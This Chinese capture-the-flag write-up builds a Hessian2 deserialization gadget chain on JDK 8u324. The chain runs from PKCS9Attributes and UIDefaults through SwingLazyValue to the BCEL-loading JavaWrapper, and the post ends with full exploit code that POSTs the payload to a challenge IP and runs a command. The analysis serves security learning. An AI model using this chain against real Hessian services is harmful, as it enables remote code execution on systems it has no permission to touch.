依赖只存在jdk8u324和hessian2,目标是代码执行就行
根据题目的hint:
https://y4er.com/posts/wangdingbei-badbean-hessian2/
https://x-stream.github.io/CVE-2021-21346.html
第一个提示从toString
出发即可,第二个意思是利用JDK中的SwingLazyValue
这条链
1 2 3 4 5 6
| javax.swing.MultiUIDefaults.toString UIDefaults.get UIDefaults.getFromHashTable UIDefaults$LazyValue.createValue SwingLazyValue.createValue javax.naming.InitialContext.doLookup()
|
sun.swing.SwingLazyValue#createValue
可以调用任意静态方法或者一个构造函数
不过这篇文章也指出https://paper.seebug.org/1814/
经过测试,发现没法使用:
- javax.swing.MultiUIDefaults是peotect类,只能在javax.swing.中使用,而且Hessian2拿到了构造器,但是没有setAccessable,newInstance就没有权限
- 所以要找链的话需要类是public的,构造器也是public的,构造器的参数个数不要紧,hessian2会自动挨个测试构造器直到成功
然后对于存在Map类型的利用链,例如ysoserial中的cc5部分:
1 2 3 4 5 6 7 8 9 10 11 12 13
| TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
|
这个也是无法利用的,因为Hessian2在恢复map类型的对象时,硬编码成了HashMap或者TreeMap,这里LazeMap就断了。
扫了下basic项目自带的包,没找到能用的链,三方包中找到利用链的可能性比较大一些。
所以这条链就只能使用这部分
1 2 3 4
| UIDefaults.get UIDefaults.getFromHashTable UIDefaults$LazyValue.createValue SwingLazyValue.createValue
|
需要自行构造前一部分,从toString
到HashTable.get()
(UIDefaults extends Hashtable
),同时也注意到是使用的hessian2
反序列化,所以呢可以不用所有需要序列化的类型都实现java.io.Serializable
配合一些审计工具(比如codeql或者bytedl)很容易就能发现从 toString() -> HashTable.get()
的路径
我这里找的是sun.security.pkcs.PKCS9Attributes
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public String toString() { StringBuffer var1 = new StringBuffer(200); var1.append("PKCS9 Attributes: [\n\t"); boolean var4 = true;
for(int var5 = 1; var5 < PKCS9Attribute.PKCS9_OIDS.length; ++var5) { PKCS9Attribute var3 = this.getAttribute(PKCS9Attribute.PKCS9_OIDS[var5]); if (var3 != null) { if (var4) { var4 = false; } else { var1.append(";\n\t"); }
var1.append(var3.toString()); } }
var1.append("\n\t] (end PKCS9 Attributes)"); return var1.toString(); }
|
调用getAttribute
1 2 3
| public PKCS9Attribute getAttribute(ObjectIdentifier var1) { return (PKCS9Attribute)this.attributes.get(var1); }
|
这个this.attributes
刚好是个HashTable
,所以就很简单了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(byteArrayOutputStream); out.getSerializerFactory().setAllowNonSerializable(true);
PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class); UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue(classname,methodname, new Object[]{}));
Reflections.setFieldValue(s,"attributes",uiDefaults);
out.writeString("aaa"); out.writeObject(s); out.flushBuffer();
try { Hessian2Input hessian2Input = new Hessian2Input(new ByteArrayInputStream((byteArrayOutputStream.toByteArray()))); hessian2Input.readObject();
} catch (Exception var5) { var5.printStackTrace(); }
|
然后题目中还给出了一个javaagent
,只不过呢是二进制写的,后来我试了下,是将这个com.sun.org.apache.xml.internal.security.utils.JavaUtils
类给ban掉了,这个类中的静态公共方法可以写文件,并且满足上面SwingLazyValue
调用条件
所以呢需要重新在提供的jdk中寻找一个合适的,我最后是找到这个地方,我寻找的方法比较低效就不细说,不过呢我当时有个大体的思路,因为是只能调用静态公共方法,这种方法写出来一般是拿来用的,就是说至少会完成某个功能。而且由于是静态方法,跟调用类中的其他实例成员就感觉没啥关系,唯一还可以控制的地方就只有调用时传入的参数了,这样看下来感觉就不用去更精巧的构造某些东西,同时我当时也是知道这个jdk
有bcel类加载器,所以说我感觉很大概率就会有可控的地方走到Runtime.exec()
或者Class.forName()
,不过能利用Runtime.exec()
的地方同时还要符合条件我当时没找到,考虑Class.forName
也是因为存在bcel加载器,同时也知道bcel加载器实际最后起作用的是loadClass
,所以也要把loadClass
考虑进sink点,最后呢配合工具,然后重点关注跟bcel加载器同一个包的类,因为感觉同包的类使用bcel加载器的概率更大,最后如愿以偿找到这个
com.sun.org.apache.bcel.internal.util.JavaWrapper
1 2 3 4 5 6 7 8 9 10 11
| public static void _main(String[] argv) throws Exception { if (argv.length == 0) { System.out.println("Missing class name."); } else { String class_name = argv[0]; String[] new_argv = new String[argv.length - 1]; System.arraycopy(argv, 1, new_argv, 0, new_argv.length); JavaWrapper wrapper = new JavaWrapper(); wrapper.runMain(class_name, new_argv); } }
|
进入wrapper.runMain
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| public void runMain(String class_name, String[] argv) throws ClassNotFoundException { Class cl = this.loader.loadClass(class_name); Method method = null;
try { method = cl.getMethod("_main", argv.getClass()); int m = method.getModifiers(); Class r = method.getReturnType(); if (!Modifier.isPublic(m) || !Modifier.isStatic(m) || Modifier.isAbstract(m) || r != Void.TYPE) { throw new NoSuchMethodException(); } } catch (NoSuchMethodException var8) { System.out.println("In class " + class_name + ": public static void _main(String[] argv) is not defined"); return; }
try { method.invoke((Object)null, argv); } catch (Exception var7) { var7.printStackTrace(); }
}
|
这里的 this.loader
回过头去看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| private static ClassLoader getClassLoader() { String s = SecuritySupport.getSystemProperty("bcel.classloader"); if (s == null || "".equals(s)) { s = "com.sun.org.apache.bcel.internal.util.ClassLoader"; }
try { return (ClassLoader)Class.forName(s).newInstance(); } catch (Exception var2) { throw new RuntimeException(var2.toString()); } }
public JavaWrapper(ClassLoader loader) { this.loader = loader; }
public JavaWrapper() { this(getClassLoader()); }
|
在_main
里默认实例化一个JavaWrapper
会调用到getClassLoader
,刚好会将this.loader
初始化为bcel加载器,接下来就很简单了
最后的paylaod
1 2 3 4 5 6
| public class evil { public static void _main(String[] argv) throws Exception { Runtime.getRuntime().exec("touch /tmp/sie"); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| import Utils.Reflections; import com.caucho.hessian.io.Hessian2Output; import org.springframework.http.HttpEntity; import org.springframework.http.ResponseEntity; import org.springframework.web.client.RestTemplate; import sun.security.pkcs.PKCS9Attribute; import sun.security.pkcs.PKCS9Attributes; import sun.swing.SwingLazyValue;
import javax.swing.*; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; import java.net.URI;
import static Utils.Reflections.createWithoutConstructor;
public class test { public static void doPOST(byte[] obj) throws Exception{ URI url = new URI("http://47.90.137.5:8090/"); HttpEntity<byte[]> requestEntity = new HttpEntity<>(obj); RestTemplate restTemplate = new RestTemplate(); ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class); System.out.println(res.getBody()); } public static void main(String[] args) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output out = new Hessian2Output(byteArrayOutputStream); out.getSerializerFactory().setAllowNonSerializable(true);
PKCS9Attributes s = createWithoutConstructor(PKCS9Attributes.class); UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.bcel.internal.util.JavaWrapper", "_main", new Object[]{new String[]{"$$BCEL$$$xxxxx","s"}}));
Reflections.setFieldValue(s,"attributes",uiDefaults);
out.writeString("aaa"); out.writeObject(s); out.flushBuffer();
try { doPOST(byteArrayOutputStream.toByteArray());
} catch (Exception var5) { var5.printStackTrace(); } } }
|